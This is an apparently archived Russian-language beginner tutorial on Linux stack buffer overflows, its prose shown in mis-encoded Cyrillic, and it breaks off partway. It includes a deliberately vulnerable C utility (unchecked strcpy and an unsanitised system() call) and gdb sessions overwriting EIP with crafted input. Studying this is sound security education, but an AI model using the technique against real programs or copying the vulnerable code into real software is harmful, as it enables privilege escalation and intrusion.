what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

KBOP.TXT

KBOP.TXT
Posted Nov 2, 2005
Authored by unl0ck, Darkeagle | Site exploiterz.org

Kids buffer overflow paper.

tags | overflow
SHA-256 | 80fb6fb02f497cea74049daf83728b003aad4d11e6721eb945dd5115d9f24356

KBOP.TXT

Change Mirror Download
        Kids Buffer Overflow Paper.

Áðîäÿ ïî ìíîãî÷èñëåííûì ôîðóìàì, ñìîòðÿ ðàññûëêè è ò.ä. ß íàòêíóëñÿ íà îäèí î÷åíü ÷àñòíûé
âîïðîñ. Çâó÷èò îí ïðèìåðíî òàê: "ß íå ïîéìó òåõíèêó ïåðåïîëíåíèÿ áóôåðà, îáúÿñíèòå,
ïîæàëóéñòà!". Â äàííîì ìàòåðèàëå ÿ áû õîòåë ðàññìîòðåòü òåõíèêó ïîëíîñòüþ. Âåñü ìàòåðèàë
áóäåò ðàññ÷èòàí äëÿ ÎÑ Linux. ß ïîñòàðàþñü çàòðîíóòü òåìó ëîêàëüíîãî è óäàëåííîãî ïåðåïîëíåíèÿ áóôåðà. Ïîñòàðàþñü âíÿòíî îáúÿñíèòü âñå. ß äóìàþ, ýòîò ìàòåðèàë áóäåò ïîíÿòåí äàæå íîâè÷êó.

Èòàê, ïîðà ïðèñòóïèòü ê èçó÷åíèþ.

Ïåðåïîëíåíèå áóôåðà ýòî, ïîæàëóé, ñàìàÿ ðàñïðîñòðàíåííàÿ îøèáêà êàê â áîëüøèõ ïðèëîæåíèÿõ, òàê
è â ìàëåíüêèõ óòèëèòàõ. Âïåðâûå òåõíèêà ïåðåïîëíåíèÿ áóôåðà áûëà ïðåäïðèíÿòà â íàøóìåâøåì ÷åðâå
êîíöà 80-õ ãîäîâ - ÷åðâå Ðîáåðòà Ìîððèñà. Ñ òåõ ïîð, äàííàÿ óÿçâèìîñòü ñòàëà òàêîé ïîïóëÿðíîé,
÷òî íà äàííûé ìîìåíò ÷èñëî ýêñïëîèòîâ, êîòîðûå íàïèñàíû íà îñíîâå äàííîé óÿçâèìîñòè, ïåðåâàëèëî
óæå çà îòìåòêó áîëåå 2-õ òûñÿ÷. Èç âñåõ óÿçâèìîñòåé, êîòîðûå íà äàííûé ìîìåíò èçâåñòíû ìèðó, ïåðåïîëíåíèå áóôåðà çàíèìàåò 1-îå ìåñòî. Åæåäíåâíî îáíàðóæèâàåòñÿ îãðîìíîå êîëè÷åñòâî îøèáîê íà îñíîâå ïåðåïîëíåíèÿ áóôåðà. Äëÿ ïðèìåðà, ïîäïèøèòåñü íà ðàññûëêó íîâîñòåé bugtraq, è ñîñòàâüòå ïðîöåíòíîå ñîîòíîøåíèå îáíàðóæåííûõ óÿçâèìîñòåé. Ó ìåíÿ âûøëî ïðèìåðíî 35-40 % óÿçâèìîñòåé îñíîâàííûõ íà ïåðåïîëíåíèè áóôåðà. À âåäü ýòî òîëüêî ïóáëè÷íûå äàííûå! Ïðåäñòàâüòå, ÷òî íàõîäèòñÿ â çàêðûòûõ èñòî÷íèêàõ, òàì ïðèìåðíî òàêîå æå ñîîòíîøåíèå.

×òî-òî ÿ óæ çàãîâîðèëñÿ :) Äàâàéòå ïåðåéäåì ê îáñóæäåíèå äàííîé îøèáêè.

Ñêàæó, ÷òî äëÿ èçó÷åíèÿ äàííîãî ìàòåðèàëà, ó Âàñ äîëæíû áûòü õîòÿ áû íà÷àëüíûå çíàíèÿ ÿçûêà Ñè ïîä Linux.
Äëÿ äàëüíåéøåé ðàáîòû íàì ïîíàäîáÿòñÿ ñëåäóþùèå èíñòðóìåíòû:
gcc, gdb, gedit (íî ìîæíî è äðóãîé ðåäàêòîð).

Òåïåðü ïåðåéäåì ê íåïîñðåäñòâåííîìó îáúÿñíåíèþ òåõíèêè ïåðåïîëíåíèÿ.
Äîïóñòèì, Âû íàïèñàëè óòèëèòó, êîòîðàÿ ïðèíèìàåò âõîäíóþ ñòðîêó (ïåðâûé àðãóìåíò). Äàëåå îíà âûçûâàåò ñèñòåìíûé âûçîâ óòèëèòû "ls" è èùåò ôàéë/äèðåêòîðèþ.  ñëó÷àå åñëè ôàéë/äèðåêòîðèÿ íàéäåíû, òî ïðîãðàììà îïîâåùàåò ïîëüçîâàòåëÿ î òîì, ÷òî òàêîé ôàéë/äèðåêòîðèÿ ñóùåñòâóþò â ñèñòåìå. Äàâàéòå ïîñìîòðèì íà ïðèìåð òàêîé ïðîãðàììêè.

[========================================CODE#1 util.c=================================]
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
char filename[255], cmd[600];

if ( argc != 2 )
{
printf("\n\nusage: %s <filename/dir>\n\n", argv[0]);
exit(0);
} //usage rulezz :)

strcpy(filename, argv[1]); //copy into filename 1st argument
snprintf(cmd, 600, "ls |grep %s", filename); //copy cmd-line to execute via system();
system(cmd); //execute
return 0;
}
[========================================CODE#1 util.c=================================]

Äàâàéòå îòêîìïèëèðóåì ïðîãðàììó è ïîïûòàåìñÿ çàïóñòèòü:

[root@localhost boft]# gcc util.c -o util
[root@localhost boft]# ./util aaaaaaaaaaaaaaaaaa
[root@localhost boft]#

Èòàê, ïðîãðàììà íå íàøëà ôàéëà/äèðåêòîðèè â òåêóùåì êàòàëîãå. Òåïåðü ïîïðîáóåì ñîçäàòü ôàéë â òåêóùåì êàòàëîãå.

[root@localhost boft]# touch something.file
[root@localhost boft]# ./util something.file
something.file
[root@localhost boft]#

Òàê, ìû ñîçäàëè ôàéë ñ ïîìîùüþ ñòàíäàðòíîé óòèëèòû touch â ñèñòåìå Linux, è ïðîãðàììà îïîâåñòèëà íàñ î òîì, ÷òî òàêîé ôàéë ñóùåñòâóåò â ñèñòåìå. Âðîäå íè÷åãî ïîäîçðèòåëüíîãî è íåò. Íèêàêîãî ïåðåïîëíåíèÿ íåò â ñèñòåìå. Ñîãëàñåí, ïðîãðàììå âåäåò ñåáÿ âïîëíå ñòàíäàðòíî.
Òåïåðü äàâàéòå ïîïðîáóåì ââåñòè íàçâàíèå ôàéëà áîëåå 267 ñèìâîëîâ. Ïîòîì îáúÿñíþ, ïî÷åìó èìåííî áîëåå 267 ñèìâîëîâ.
Èòàê:

[root@localhost boft]# ./util `perl -e 'print "A"x268'`
Segmentation fault (core dumped)
[root@localhost boft]#

Îïà... ×òî ìû âèäèì :) Ñåé÷àñ ìû èñïîëüçîâàëè ñèíòàêñèñ ÿçûêà perl. Ñòðîêà `perl -e 'print "A"x268'` ãîâîðèò î òîì, ÷òî â êà÷åñòâå ïåðâîãî àðãóìåíòà áóäåò çíà÷åíèå "A" îáùåé ñóììîé ñèìâîëîâ ðàâíîé 268. Ò.å. ïðîãðàììà â êà÷åñòâå ïåðâîãî àðãóìåíòà ïîëó÷èò òàêîå: A = 268 ñèìâîëàì.
Èäåì äàëåå... Ïðîãðàììà íè÷åãî íàì íå âûâåëà, à âûñêî÷èëî ñòðàííîå ñîîáùåíèå "Segmentation fault (core dumped)". ×òîáû îíî ìîãëî çíà÷èòü??? À çíà÷èò îíî îäíî. Íàøà ïðîãðàììà ïîâåëà ñåáÿ íåñòàíäàðòíî è ÷òî-òî òàì ïðîèçîøëî. À ÷òî èìåííî ÿ ïîïûòàþñü ñåé÷àñ îáúÿñíèòü.
 ñèñòåìå Unix (êàê è â Win32) äëÿ õðàíåíèÿ äàííûõ èñïîëüçóåòñÿ "ñòåê". Èìåííî â íåì õðàíÿòñÿ ðàçëè÷íûå çíà÷åíèÿ ïåðåìåííûõ (äà è îíè ñàìè òàì õðàíÿòñÿ) â ìîìåíò çàïóñêà ïðîãðàììû. Ïîñëå çàêðûòèÿ ïðîãðàììû âñå äàííûå âûãðóæàþòñÿ èç "ñòåêà". Ñòåê ìîæíî ñðàâíèòü ñî ñêëàäîì :) Êîíå÷íî ýòî äîâîëüíî ãðóáîå îáúÿñíåíèå, íî âñå æå. Òàê âîò, â íàøåé ïðîãðàììå ìû èñïîëüçóåì íåñêîëüêî áóôåðîâ. À èìåííî áóôåð äëÿ õðàíåíèÿ çíà÷åíèÿ ïåðåìåííîé "filename" è áóôåð ïåðåìåííîé "cmd". Áóôåð "cmd" íàñ íå èíòåðåñóåò. À âîò áóôåð ïåðåìåííîé "filename" íàì áîëåå èíòåðåñåí. À âñå ïîòîìó, ÷òî èìåííî äàííàÿ ïåðåìåííàÿ èñïîëüçóåòñÿ êàê èìÿ ôàéëà/äèðåêòîðèè, èñòîêè êîòîðîãî áåðóòñÿ èç ïåðâîãî âõîäíîãî àðãóìåíòà ïðè çàïóñêå ïðîãðàììû. Êîïèðîâàíèå ñòðîêè ïðîèñõîäèò ïóòåì ñòàíäàðòíîé â ÿçûêå Ñè ôóíêöèè strcpy();
Ñèíòàêñèñ åå òàêîâ:

strcpy(ñòðîêà_â_êîòîðóþ_íóæíî_êîïèðîâàòü_äàííûå, ñòðîêà_èç_êîòîðîé_ñëåäóåò_êîïèðîâàòü);

Òàê âîò ñòðîêà â êîäå:

strcpy(filename, argv[1]);

Ãîâîðèò î òîì, ÷òî â ïåðåìåííóþ filename íóæíî êîïèðîâàòü ïåðâûé âõîäíîé àðãóìåíò ïðîãðàììû.
Íî âçãëÿíåì âûøå, è ìû óâèäèì ñëåäóþùåå:

char filename[255];

Âûøåïðèâåäåííàÿ ñòðîêà ÿâëÿåòñÿ îáúÿâëåíèåì ïåðåìåííîé filename êàê òèïà char (ñèìâîëüíîãî), êîòîðûé ñîñòîèò èç 255 ìàññèâîâ. Òî åñòü äàííàÿ ïåðåìåííàÿ èìååò âõîäíîé áóôåð íà 255 ñèìâîëîâ. Ïîëó÷àåòñÿ, ìû òóäà ìîæåì ïîìåñòèòü 255 ñèìâîëîâ èç âõîäíîãî àðãóìåíòà íàøåé ïðîãðàììû. Èòàê... ß äóìàþ, âû óæå äîãàäàëèñü î òîì ñòðàííîì ñîîáùåíèè. Åñëè íåò, òî îíî çíà÷èò òî, ÷òî ìû ââåëè áîëåå 255 ñèìâîëîâ âî âõîäíîé áóôåð, è ïðîãðàììà âûçâàëà îøèáêó ò.ê. ðàçìåð, ââåäåííûé â àðãóìåíòå, ïðåâûøàåò îòâåäåííûé ðàçìåð áóôåðà ïåðåìåííîé. Èìåííî ýòî è íàçûâàåòñÿ ïåðåïîëíåíèå áóôåðà. À òåïåðü ïîïðîáóéòå ñôîðìóëèðîâàòü îïðåäåëåíèå...

Ïåðåïîëíåíèå áóôåðà - ýòî áóôåð, çíà÷åíèå êîòîðîãî îïðåäåëÿåòñÿ ðàíåå â ïðîãðàììå è â ïîñëåäóþùèé ìîìåíò âûõîäèò çà ðàìêè îïðåäåëÿåìîñòè (ò.å. ïåðåïîëíÿåòñÿ).
Íåñêîëüêî çàïóòàííî è íåêîððåêòíî. Íî êàæäûé ìîæåò äëÿ ñåáÿ ñîñòàâèòü îïðåäåëåíèå ýòîìó ñëîâîñî÷åòàíèþ :) Äëÿ ìåíÿ æå ïîíÿòíåå ìîå îïðåäåëåíèå.

Äâèãàåìñÿ äàëüøå.
ß äóìàþ âñå ëèíóêñîèäû çíàþò î÷åíü õîðîøóþ è íóæíóþ óòèëèòó gdb. Ýòî óòèëèòà ÿâëÿåòñÿ âñòðîåííûì
îòëàä÷èêîì â ñèñòåìàõ Unix. gdb ðàñøèôðîâûâàåòñÿ êàê GNU Debugger.
Òåïåðü äàâàéòå çàïóñòèì íàøó óòèëèòó â ýòîì îòëàä÷èêå è ïîïðîáóåì ââåñòè äëèííîå èìÿ ôàéëà/äèðåêòîðèè.

[root@localhost boft]# gdb util
GNU gdb 6.0-2mdk (Mandrake Linux)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux-gnu"...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) r `perl -e 'print "A"x1000'`
Starting program: /home/boft/util `perl -e 'print "A"x1000'`
Detaching after fork from child process 2861.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)

Èòàê, ìû ââåëè 1000 ñèìâîëîâ "A" â ïåðâûé àðãóìåíò ïðîãðàììû. È ÷òî ìû âèäèì? Ïðîãðàììà ïðèíÿëà 1000 ñèìâîëîâ "A" è ïîïûòàëàñü îñóùåñòâèòü ïîèñê. Íî íå òóò òî áûëî :) Áóôåð ïåðåìåííîé-ôàéëà ðàâåí âñåãî 255 ñèìâîëîâ. È ïîýòîìó ïðîèçîøëî ïåðåïîëíåíèå. Ñòðîêà 0x41414141 in ?? () ãîâîðèò î òîì, ÷òî íàøà óòèëèòà ïîïûòàëàñü îáðàòèòñÿ ïî àäðåñó 0x41414141, íî òàì íè÷åãî è íåò :) Ïî÷åìó èìåííî 0x41414141, òàê ýòî ïîòîìó ÷òî çíà÷åíèå "A" â øåñòíàäöàðè÷íîì hex ôîðìàòå ðàâíî 41. À àäðåñ ó íàñ ñîñòîèò èç 8 ñèìâîëîâ. Ïîýòîìó ïîñëåäíèå ÷åòûðå ñèìâîëà "A" áóäóò àäðåñîì, ê êîòîðîìó ïîñëå ïåðåïîëíåíèÿ îáðàòèòñÿ íàøà ïðîãðàììà. Äëÿ áîëåå äåòàëüíîãî çàêðåïëåíèÿ äàâàéòå ðàññìîòðèì ñëåäóþùèé ïðèìåð. Êàê ÿ ãîâîðèë ðàíåå äëÿ ïåðåïîëíåíèÿ íàì íóæíî áîëåå 268 ñèìâîëîâ.
Ñìîòðèì ïðèìåð:

(gdb) r `perl -e 'print "A"x268'`BBBB
Starting program: /home/boft/util `perl -e 'print "A"x268'`BBBB
Detaching after fork from child process 2898.

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

È ÷òî ìû âèäèì :) À âèäèì ìû ñëåäóþùèå. Äëÿ ïåðåïîëíåíèÿ áóôåðà íàì íóæíî 268 ñèìâîëîâ. Ýòî çíà÷åíèå, ïðè êîòîðîì áóôåð ïîëíîñòüþ çàïîëíÿåòñÿ äî êðàåâ :). Ò.å. â âûøåïðèâåäåííîì ïðèìåðå ìû çàïèñàëè 268 ñèìâîëîâ "A" è ÷åòûðå ñèìâîëà "B". Ïîëó÷àåòñÿ, ÷òî áóôåð çàïîëíÿåòñÿ äî êðàåâ çíà÷åíèåì "A", à äàëåå ìû óêàçûâàåì ïî êàêîìó àäðåñó åìó ñëåäóåò îáðàùàòüñÿ ïîñëå ïåðåïîëíåíèå.
Ìû óêàçûâàåì åìó 4 ñèìâîëà "B", ïîýòîìó ñòðîêà 0x42424242 in ?? () îçíà÷àåò ÷òî ïîñëå ïîëíîãî ïåðåïîëíåíèÿ àäðåñ ïî êîòîðîìó îáðàòèòñÿ ôóíêöèÿ áóäåò óêàçûâàòü íà àäðåñ "B" â øåñòíàäöàðè÷íîì -hex ôîðìàòå.
À òåïåðü âçãëÿíåì íà ñëåäóþùèé ïðèìåð:

(gdb) r `perl -e 'print "A"x268'`BBBA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/boft/util `perl -e 'print "A"x268'`BBBA
Detaching after fork from child process 2920.

Program received signal SIGSEGV, Segmentation fault.
0x41424242 in ?? ()
(gdb)

Âçãëÿíåì íà àäðåñ, ïî êîòîðîìó ïîñëå ïåðåïîëíåíèÿ îáðàùàåòñÿ ôóíêöèÿ. Îí ðàâåí: 0x41424242. À òåïåðü âçãëÿíåì íà çàïóñê ïðîãðàììû:

(gdb) r `perl -e 'print "A"x268'`BBBA
Starting program: /home/boft/util `perl -e 'print "A"x268'`BBBA

 àðãóìåíòå ïðèñóòñòâóþò 268 ñèìâîëîâ "A" è àäðåñ ðàâíûé BBBA. À òåïåðü ïåðåâåäèòå åãî â hex ôîðìàò. Ó ìåíÿ ïîëó÷èëîñü âîò ÷òî: 0x42424241, à ó êîìïüþòåðà âîò: 0x41424242. Èç ýòîãî ìîæíî ñóäèòü, ÷òî êîìïüþòåð ÷èòàåò çíà÷åíèÿ êàê àðàáû èëè êèòàéöû. Ò.å. ñïðàâà íàëåâî. Íó è êîíå÷íî ñâåðõó âíèç. Ïîýòîìó â ñèñòåìå Unix (äà è â Win32) ñòåê ðàñòåò ñâåðõó âíèç. Ïîëó÷àåòñÿ, ÷òî ñàìûé áîëüøîé àäðåñ áóäåò íàâåðõó, à äàëåå ñòåê áóäåò óáûâàòü. Ïðèìåðíûé âàðèàíò ñòåêà â ñòàíäàðòíîé ïðîãðàììå òàêîâ:

ñòåê (àäðåñ âåðøèíû ñòåêà = 0xbfffffff)
__
|| ÄÀÍÍÛÅ
||
||
\/ ÀÄÐÅÑ

Ò.å. â ñëó÷àå ñ íàøèì ïåðåïîëíåíèåì ïðîãðàììà ñåáÿ âåäåò â ñòåêå òàê:
Èäóò äàííûå... Åñëè âñå â ïîðÿäêå, òî ïðîãðàììà îáû÷íî çàâåðøàåò ñâîþ ðàáîòó è âûãðóæàåòñÿ èç ñòåêà.  ñëó÷àå ïåðåïîëíåíèÿ ÄÀÍÍÛÅ ïðåâûøàþò íîðìó è óæå ÀÄÐÅÑ áóäåò óêàçûâàòü íå íà âûõîä èç ôóíêöèè ( â íàøåì ñëó÷àåò ýòî return â main() ), à íà ÷òî-òî äðóãîå ( â íàøåì ñëó÷àå ýòî ïîñëåäíèå 4 ñèìâîëà â àðãóìåíòå. )

Äàâàéòå âçãëÿíåì íà ñëåäóþùåå. ß äóìàþ, âû åùå íå çàêðûëè gdb.
Ââåäèòå ñëåäóþùóþ êîìàíäó.

(gdb) i r
eax 0x0 0
ecx 0xbffff20c -1073745396
edx 0x0 0
ebx 0x4016e800 1075243008
esp 0xbffff6b0 0xbffff6b0
ebp 0x41414141 0x41414141
esi 0x40016640 1073833536
edi 0x8048510 134513936
eip 0x41424242 0x41424242
<îñòàëüíîå îïóùåíî>
(gdb)

Ìû âèäèì ðåãèñòðû ñëåâà, à ñïðàâà èõ çíà÷åíèÿ. Ïîìíèòå, ÿ Âàì ãîâîðèë, ÷òî äëÿ ïåðåïîëíåíèÿ íóæíî ââåñòè 268 ñèìâîëîâ, à íå 255 êàê îïðåäåëåíî. Òåïåðü âçãëÿíèòå íà ýòî:

ebp 0x41414141 0x41414141

Òàê âîò 268 ñèìâîëîâ ýòî è åñòü ïåðåïîëíåíèå ïðè êîòîðîì çíà÷åíèå ðåãèñòðà ebp çàòèðàåòñÿ íà çíà÷åíèå âõîäíîãî àðãóìåíòà â hex ôîðìàòå ( â íàøåì ñëó÷àå íà "A" â hex ôîðìàòå ).

Ò.å. ïîïðîáóéòå ââåñòè òàêîå â íàøó óòèëèòó:

`perl -e 'print "A"x267'`

(gdb) r `perl -e 'print "A"x267'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/boft/util `perl -e 'print "A"x267'`
Detaching after fork from child process 2942.

Program exited normally.
(gdb)

Ìû âèäèì, ÷òî ïðîãðàììà çàâåðøèëàñü íîðìàëüíî áåç êàêèõ-ëèáî îøèáîê è ïåðåïîëíåíèé.
Âçãëÿíåì íà çíà÷åíèÿ ðåãèñòðîâ:

(gdb) i r
The program has no registers now.
(gdb)

À èõ è íåò :) Ïðîãðàììà çàâåðøèëàñü íîðìàëüíî è âûãðóçèëàñü èç ïàìÿòè.

À ïîïðîáóéòå ââåñòè òàêîå çíà÷åíèå:

`perl -e 'print "A"x268'`

(gdb) r `perl -e 'print "A"x268'`
Starting program: /home/boft/util `perl -e 'print "A"x268'`
Detaching after fork from child process 2948.

Program received signal SIGSEGV, Segmentation fault.
0x4003f900 in __libc_start_main () from /lib/tls/libc.so.6
(gdb)

Âèäíî ÷òî ïðîãðàììà çàâåðøèëàñü ñ îøèáêîé è â êà÷åñòâå àäðåñà ïî êîòîðîìó îíà îáðàòèòñÿ (àäðåñîì âîçâðàòà) ÿâëÿåòñÿ ñàìà ôóíêöèÿ main() èç áèáëèîòåêè libc. È ïîýòîìó äëÿ òîãî ÷òîáû óêàçàòü ñâîé àäðåñ ìû èñïîëüçîâàëè 4 äîïîëíèòåëüíûõ ñèìâîëà. Îíè ïåðåâîäèëèñü â hex ôîðìàò è óêàçûâàëè íà àäðåñ âîçâðàòà. Ïðè ïðîñìîòðå ðåãèñòðîâ ìû óâèäèì, ÷òî ðåãèñòð ebp çàòåðñÿ çíà÷åíèå "A" â hex.
Òåïåðü äàâàéòå âçãëÿíåì íà äðóãîé ðåãèñòð. Íàçâàíèå åìó EIP.

eip 0x41424242 0x41424242

Ìû âèäèì, ÷òî åãî àäðåñ ïåðåçàïèñàëñÿ íà òîò àäðåñ, êîòîðûé ìû óêàçàëè. Ò.å. íà BBBA â hex ôîðìàòå. ß òåïåðü õî÷ó íåìíîãî îòêëîíèòüñÿ è ðàññêàçàòü âàì îá ýòèõ ñàìûõ ðåãèñòðàõ ïðîöåññîðà.

ÐÅÃÈÑÒÐÛ.

Âîîáùå ðåãèñòðû ýòî íåêîå ïîäîáèå ñòðîèòåëåé âíóòðè ïðîöåññîðà. Îíè êàê áû ïîëó÷àþò äàííûå è ñêëàäûâàþò èõ â êîìïüþòåðå. Ò.å. â ñëó÷àå ñî ñòðîèòåëÿìè îíè ñòðîÿò äîì/ãàðàæ è ò.ä. Îíè ïîëó÷àþò äàííûå è ñêëàäûâàþò èõ, à äàëåå íåêàÿ ïðîãðàììà ïûòàåòñÿ ïðî÷åñòü èíôîðìàöèþ èç ýòèõ ðåãèñòðîâ. Êîëè÷åñòâî ðåãèñòðîâ â àðõèòåêòóðå ïðîöåññîðà x86 áîëüøîå. È ñ êàæäûì ðàçîì âñå óâåëè÷èâàåòñÿ è óâåëè÷èâàåòñÿ. Îíè áûâàþò êàê 16-òè ðàçðÿäíûå, òàê è 32-õ. Ñåé÷àñ ÿ õî÷ó ðàññêàçàòü áîëåå äåòàëüíî îá îñíîâíûõ ðåãèñòðàõ ïðîöåñîððà.

ðåãèñòð EIP - ýòî ðåãèñòð ñîäåðæèò â ñåáå àäðåñ ôóíêöèè, íà êîòîðûé äîëæíà ïåðåïðûãíóòü ïðîãðàììà â êàêîå-ëèáî äåéñòâèå.  íàøåì ñëó÷àå àäðåñ eip áûë ðàâåí BBBA = 0x41424242. À ÷òî ðàñïîëîæåíî ïî ýòîìó àäðåñó? À íè÷åãî.  äàëüíåéøåì ìû ðàçáåðåì ýòó òåìó.

ðåãèñòð ESP - ýòî ðåãèñòð, ñ ïîìîùüþ êîòîðîãî ìîæíî áåãàòü ïî ñòåêó. Ò.å. îáðàùàòüñÿ ê êàêîìó ëèáî àäðåñó â ñòåêå.

ðåãèñòð EBP - ýòî ðåãèñòð, êîòîðûé äàåò íàì âîçìîæíîñòü ïðÿìîãî îáðàùåíèÿ ê äàííûì, íàõîäÿùèìñÿ â ñòåêå.
Ýòè òðè ðåãèñòðà ñ÷èòàþòñÿ îñíîâíûìè. Ïîíèìàíèå èõ çíà÷åíèé ÿâëÿåòñÿ, ïî ñóòè, îñíîâíûì ôóíäàìåíòîì â ïîíèìàíèè òåõíèêè ïåðåïîëíåíèÿ áóôåðà. Èòàê, ïîðà äâèãàòüñÿ äàëåå...

ÒÅÕÍÈÊÀ ÏÅÐÅÏÎËÍÅÍÈß.

Äóìàþ, âû óæå íàãëîòàëèñü òåîðèè ïî ñàìûå óøè :) Íó íè÷åãî îñòàëîñü ñîâñåì ÷óòü-÷óòü. ß ñåé÷àñ ïîñòàðàþñü ìàêñèìàëüíî âíÿòíî îáúÿñíèòü ïðîöåññ ïåðåïîëíåíèÿ, à äàëåå íàì îñòàíåòñÿ òîëüêî îñóùåñòâèòü âñå íà ïðàêòèêå. È ìû óæå áóäåì íà êîíå!
Èòàê, ïîåõàëè...

Ïðîöåññ ïåðåïîëíåíèÿ ïðîèñõîäèò ñëåäóþùèì îáðàçîì:

Âû îïðåäåëÿåòå ðàçìåð áóôåðà è åãî êðàéíèé êðàé :) (ò.å. çíà÷åíèå ïðè êîòîðîì ðåãèñòð ebp çàòðåòñÿ). Äàëåå. Ïîäãîòàâëèâàåòå "ìóñîðíûé áóôåð".
Ìóñîðíûé áóôåð - ýòî äàííûå, êîòîðûå ïðîñòî çàïîëíÿò ñòåê íåíóæíîé èíôîðìàöèåé äëÿ ïåðåïîëíåíèÿ áóôåðà. Äàëåå Âû íàãëÿäíî ýòî óâèäèòå. Ïîòîì ìû êîïèðóåì øåëëêîä â áóôåð. Î òîì, ÷òî òàêîå øåëëêîä ÿ Âàì ñåé÷àñ ïîâåäàþ.
Øåëëêîä - ýòî íåêèé êîä, ïåðåâåäåííûé â ìàøèííûå èíñòðóêöèè. Ïî÷åìó èìåííî "øåëëêîä", òàê ýòî, ïîòîìó ÷òî ÷àñòî ïîñëå åãî èñïîëíåíèÿ íà êîìïüþòåðå ïðåäîñòàâëÿåòñÿ äîñòóï ê îáîëî÷êå Unix (ò.å. ê shell-îáîëî÷êå). Øåëëêîä ìîæåò áûòü ëîêàëüíûì è óäàëåííûì.

Ëîêàëüíûé øåëëêîä - ýòî êîä äëÿ ëîêàëüíûõ ïðîãðàìì, êîòîðûå èñïîëíÿþòñÿ íà ëîêàëüíîé ìàøèòå. Ò.å. ïîëüçîâàòåëü ðàáîòàåò çà êîìïüþòåðîì, â êîòîðîì èìååòñÿ óÿçâèìàÿ ïðîãðàììà. Ïîñëå ýêñïëóàòàöèè, êîòîðîé, ïîëüçîâàòåëþ ñðàçó ïðåäñòàâÿòñÿ ïðàâà óÿçâèìîé ïðîãðàììû. Ò.å. äîïóñòèì, ïðîãðàììà çàïóùåíà ñ ïðàâàìè ñóïåð-ïîëüçîâàòåëÿ (root), à ó ïîëüçîâàòåëÿ äîïóñòèì ïðàâà games (èãðîâûå). Êîãäà ïîëüçîâàòåëü (àòàêóþùèé) óñïåøíî ïðîýêñïëóàòèðóåò ïðîãðàììó, ó íåãî ïîÿâÿòñÿ ïðàâà ñóïåð-ïîëüçîâàòåëÿ â ëîêàëüíîé ìàøèíå.

Óäàëåííûé øåëëêîä - ýòî êîä äëÿ óäàëåííûõ äåìîíîâ (ïðîãðàìì ñåðâåðîâ). Ò.å. íàïðèìåð Âû îáíàðóæèëè óÿçâèìîñòü â êàêîì ëèáî ñåðâåðå. Ïðè ïîäêëþ÷åíèè íà êîòîðûé, ïåðåäàåòñÿ äëèííàÿ ñòðîêà, à äàëåå ñåðâåð çàâåðøàåò ðàáîòó ñ îøèáêîé ïåðåïîëíåíèÿ áóôåðà.  äàííîì ñëó÷àå ïîëüçîâàòåëü íå èìååò ïðàâ íà óäàëåííîé ìàøèíå. Ïîýòîìó, íàïèñàâ ýêñïëîèò, êîòîðûé áû ïåðåïîëíÿë áóôåð è èñïîëíÿë óäàëåííûé øåëëêîä ñ ïðàâàìè çàïóùåííîãî ñåðâåðà. ×àñòî óäàëåííûå øåëëêîäû ïîñëå èñïîëíåíèÿ îòêðûâàþò íà óäàëåííîé ìàøèíå ïîðò, ïîñëå ïîäêëþ÷åíèÿ íà êîòîðûé, ïðåäîñòàâëÿåòñÿ êîìàíäíàÿ ñòðîêà (øåëë) ñ ïðàâàìè çàïóùåííîãî ñåðâåðà.

Èòàê, ñ øåëëêîäîì ìû ðàçîáðàëèñü. Äâèãàåìñÿ äàëåå. Ïîñëå êîïèðîâàíèÿ øåëëêîäà â áóôåð, ìû äîëæíû óêàçàòü àäðåñ íàøåãî øåëëêîäà, ÷òîáû ïîñëå ïåðåïîëíåíèÿ, óÿçâèìàÿ ïðîãðàììà îáðàùàëàñü íà èíñòðóêöèþ çàäàííóþ â øåëëêîäå. Òî áèøü íà èíñòðóêöèþ ïîÿâëåíèÿ êîìàíäíîé ñòðîêè. Åñëè âñå ýòî ïðåäñòàâèòü â óìå, òî ýòî ïðèìåðíî âûñâåòèòñÿ òàê:

ñòåê <data><...shellcode...><retaddr>
||
|| Äàííûå (esp)
|| ïðîèñõîäèò ïåðåïîëíåíèå, è àäðåñ eip óêàçûâàåò íà øåëëêîä
~shellcode~ <---------------------------------------------------\
|| |
|| |
\/ -X- Àäðåñ âîçâðàòà íà ôóíêöèþ (eip)-----------------------=

Äëÿ òîãî, ÷òîáû óçíàòü àäðåñ âîçâðàòà íà èíñòðóêöèþ (øåëëêîä ó íàñ) ìû áóäåì èñïîëüçîâàòü îòëàä÷èê gdb. Äëÿ ðàçìåùåíèÿ â ïðàâèëüíîì íàïðàâëåíèè íàì ïîíàäîáèòñÿ ìåòîä "òûê". :) Ò.å. îïÿòü æå ìû óçíàåì "êðàé áóôåðà" ïóòåì ïåðåáîðà.  íàøåé óòèëèòå îí ðàâåí 268 ñèìâîëàì. Ò.å. êàê áûëî ðàíåå ïîêàçàíî íàø àäðåñ áóäåò ðàñïîëàãàòüñÿ â ðàäèóñå 4-õ ñèìâîëîâ ïåðåâåäåííûõ â ôîðìàò hex :).
 íàøåì ñëó÷àå íàì íóæíî ðàçìåñòèòü íàø àäðåñ ïî ñëåäóþùèì ïàðàìåòðàì:
268+4 = 268+1(269)+1(270)+1(271)+1(272). Íàø àäðåñ ëÿæåò â ðàäèóñ 268 -- 272. Ïîëó÷àåòñÿ êàê ðàç 4 ñèìâîëà (áàéòà) è 8 (4 ñèìâîëà â hex) áàéò â êà÷åñòâå óêàçàíèÿ àäðåñà íà êîòîðûé áóäåò ïåðåäàíî óïðàâëåíèå ïîñëå ïåðåïîëíåíèÿ.

Èòàê, äóìàþ äîâîëüíî ñóõîìÿòêè. Ïîðà ïðèñòóïèòü ê ðåàëèÿì. Äëÿ íà÷àëà äàâàéòå ñíîâà çàïóñòèì íàøó ïðîãðàììó â îòëàä÷èêå gdb.

(gdb) r `perl -e 'print "A"x1000'`
Starting program: /home/boft/util `perl -e 'print "A"x1000'`
Detaching after fork from child process 3404.

